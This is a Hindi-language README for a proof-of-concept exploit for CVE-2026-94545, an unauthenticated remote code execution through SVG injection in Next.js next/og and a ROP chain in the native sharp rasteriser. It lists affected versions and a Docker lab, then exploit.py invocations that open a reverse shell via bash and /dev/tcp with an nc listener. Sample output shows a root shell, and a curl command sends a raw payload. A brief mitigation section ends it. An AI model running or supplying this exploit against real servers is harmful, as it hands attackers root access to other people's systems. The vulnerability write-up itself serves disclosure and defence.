
CVE-2026-94545 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Next.js next/og में SVG इंजेक्शन और नेटिव sharp रास्टराइज़र के विरुद्ध ROP चेन के माध्यम से एक अनऑथेंटिकेटेड RCE है।
★ CVE-2026-94545 Next.js next/og SVG इंजेक्शन से नेटिव RCE ★
https://github.com/user-attachments/assets/e297b40b-36ad-4a9a-b0c1-a64429bc0160
next/ogSatori के साथ JSX को SVG में रेंडर करके और फिर उस SVG को रास्टराइज़ करके Open Graph इमेज बनाता है। Satori उपयोगकर्ता-प्रदत्त टेक्स्ट को बिना एस्केप किए SVG में लिखता है (CWE-116), इसलिए एक अनुरोध आसपास के एलिमेंट को बंद कर सकता है और अपना स्वयं का SVG मार्कअप इंजेक्ट कर सकता है। जब रूट Node.js रनटाइम परsharpइंस्टॉल के साथ चलता है, तो वह SVG सैंडबॉक्स्ड wasm रेंडरर के बजाय नेटिव लाइब्रेरीज़ (libvips, librsvg, libxml2) द्वारा रास्टराइज़ किया जाता है। XInclude संदर्भ और नेस्टेड DTD एंटिटीज़ से बना एक पेलोड उस नेटिव पार्सर के भीतर मेमोरी को भ्रष्ट कर देता है। आधिकारिक Node.js बाइनरी non-PIE है, इसलिए इसका कोड और GOT रैंडमाइज़्ड नहीं होते और एक निश्चित ROP चेन बिना किसी एड्रेस लीक केexecveतक पहुँच जाती है। OG-इमेज रूट पर एक अनधिकृत अनुरोध सर्वर प्रोसेस के रूप में कमांड चलाने के लिए पर्याप्त है।
| श्रेणी | संस्करण |
|---|---|
| असुरक्षित | Next.js 16.2.0 – 16.3.5 (Node रनटाइम, sharp मौजूद), Satori >=0.0.27 <0.33.5 |
| पैच किया गया | Next.js 16.3.6 / Satori 0.33.5 या बाद का |
केवल Node.js रनटाइम पथ प्रभावित है।
export const runtime = 'edge'के साथ, याsharpके बिना इंस्टॉल में, इमेज सैंडबॉक्स्डresvg-wasm रेंडरर द्वारा बनाई जाती है और यह बग कोड एक्ज़ीक्यूशन तक नहीं पहुँचता।
ImageResponse में पास करता है, एक सिंक है।execve वर्कर को बदल देता है, इसलिए HTTP अनुरोध बस बंद हो जाता है और परिणाम किसी अन्य तरीके से वापस आना चाहिए, जैसे रिवर्स शेल या कोई कमांड जो फ़ोन होम करता है।एक न्यूनतम Next.js ऐप जो असुरक्षित कॉन्फ़िगरेशन को पुनः उत्पन्न करता है। /api/og पर रूट Node रनटाइम पर
एक ImageResponse रेंडर करता है, और sharp इंस्टॉल है ताकि नेटिव रास्टराइज़र का उपयोग हो।
इमेज उस सटीक स्टैक को पिन करती है जिस पर ROP चेन निर्भर करती है (Node 24.20.0 non-PIE, Next 16.3.5, sharp
0.35.4 with libvips 8.18.6, librsvg 2.62.91, libxml2 2.15.3)। पहला बिल्ड Node खींचता है, npm निर्भरताएँ इंस्टॉल करता है, और next build चलाता है, जिसमें कुछ मिनट लगते हैं।
docker build -t cve-2026-94545 .
docker run -d --name cve-2026-94545 -p 3000:3000 cve-2026-94545
# sanity check: a benign render returns 200
curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:3000/api/og?value=hello"
| पूर्वापेक्षा | इस लैब में स्थिति |
|---|---|
| Node रनटाइम पर Next.js 16.2.0 – 16.3.5 | Next 16.3.5, runtime = 'nodejs' |
sharp इंस्टॉल, ताकि नेटिव librsvg/libxml2 पथ का उपयोग हो | sharp 0.35.4, libvips 8.18.6, rsvg 2.62.91, xml2 2.15.3 |
| स्थिर ROP बेस के लिए non-PIE Node बाइनरी | आधिकारिक Node v24.20.0 linux-x64 (SHA-verified) |
| बिना ऑथ के पहुँचने योग्य OG-इमेज रूट | GET और POST /api/og, अनुरोध टेक्स्ट एक SVG <title> में जाता है |
| रिवर्स शेल के लिए आउटबाउंड पथ उपलब्ध | bash और /dev/tcp मौजूद हैं |
असुरक्षित रूट POST /api/og है। यह अनुरोध बॉडी लेता है और रास्टराइज़ करने से पहले उसे एक SVG <title>
में रखता है। exploit.py चुने गए कमांड के लिए वह SVG बनाता है, ROP चेन को एक
<path> में एन्कोड करता है, और उसे रूट पर भेजता है।
सबसे सरल रन एक रिवर्स शेल खोलता है। इसे लक्ष्य और एक लिसनर एड्रेस दें; यह आपके लिए nc
शुरू करता है, अनुरोध फायर करता है, और आपको शेल सौंप देता है।
python3 exploit.py --target 172.17.0.3:3000 --lhost 172.17.0.4:4444
पेलोड Environment में सूचीबद्ध स्टैक के अनुसार कैलिब्रेट किया गया है, इसलिए इसे इस इमेज या उसी Node और sharp बिल्ड वाले होस्ट के विरुद्ध चलाएँ। एक हिट node प्रोसेस को आपके कमांड से बदल देती है, जिसका अर्थ है कि HTTP अनुरोध बंद हो जाता है और कंटेनर रीस्टार्ट होने तक सेवा जवाब देना बंद कर देती है।
[*] Command: bash -c 'bash -i>&/dev/tcp/172.17.0.4/4444 0>&1' (49 bytes)
[*] payload bytes=24693 sha256=...
[*] Listener: nc -lvnp 4444
[*] POST http://172.17.0.3:3000/api/og (24693 bytes)
[*] Target closed connection (expected)
connect to [172.17.0.4] from (UNKNOWN) [172.17.0.3] 43118
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux 6e2b1c4a7f9d 5.15.0 #1 SMP x86_64 GNU/Linux
रिवर्स शेल सर्वर प्रोसेस के रूप में चलता है, जो एक ही अनधिकृत अनुरोध से कोड एक्ज़ीक्यूशन की पुष्टि करता है। बिना लिसनर के एक कमांड चलाने के लिए, इसे सीधे पास करें; ध्यान दें कि आउटपुट HTTP पर वापस नहीं आता, इसलिए कमांड को जो कुछ भी आप देखना चाहते हैं उसे आउट-ऑफ-बैंड भेजना होगा।
# single command, no listener
python3 exploit.py --target 172.17.0.3:3000 --command "id"
# only build the payload, then send it yourself
python3 exploit.py --target 172.17.0.3:3000 --command "id" --output payload.bin
curl --data-binary @payload.bin -H "Content-Type: text/plain" http://172.17.0.3:3000/api/og
next/og रूट को export const runtime = 'edge' पर ले जाएँ ताकि सैंडबॉक्स्ड wasm रेंडरर का उपयोग हो, या sharp हटा दें ताकि नेटिव पथ तक न पहुँचा जाए, और असैनिटाइज़्ड उपयोगकर्ता इनपुट को ImageResponse चिल्ड्रन से बाहर रखें।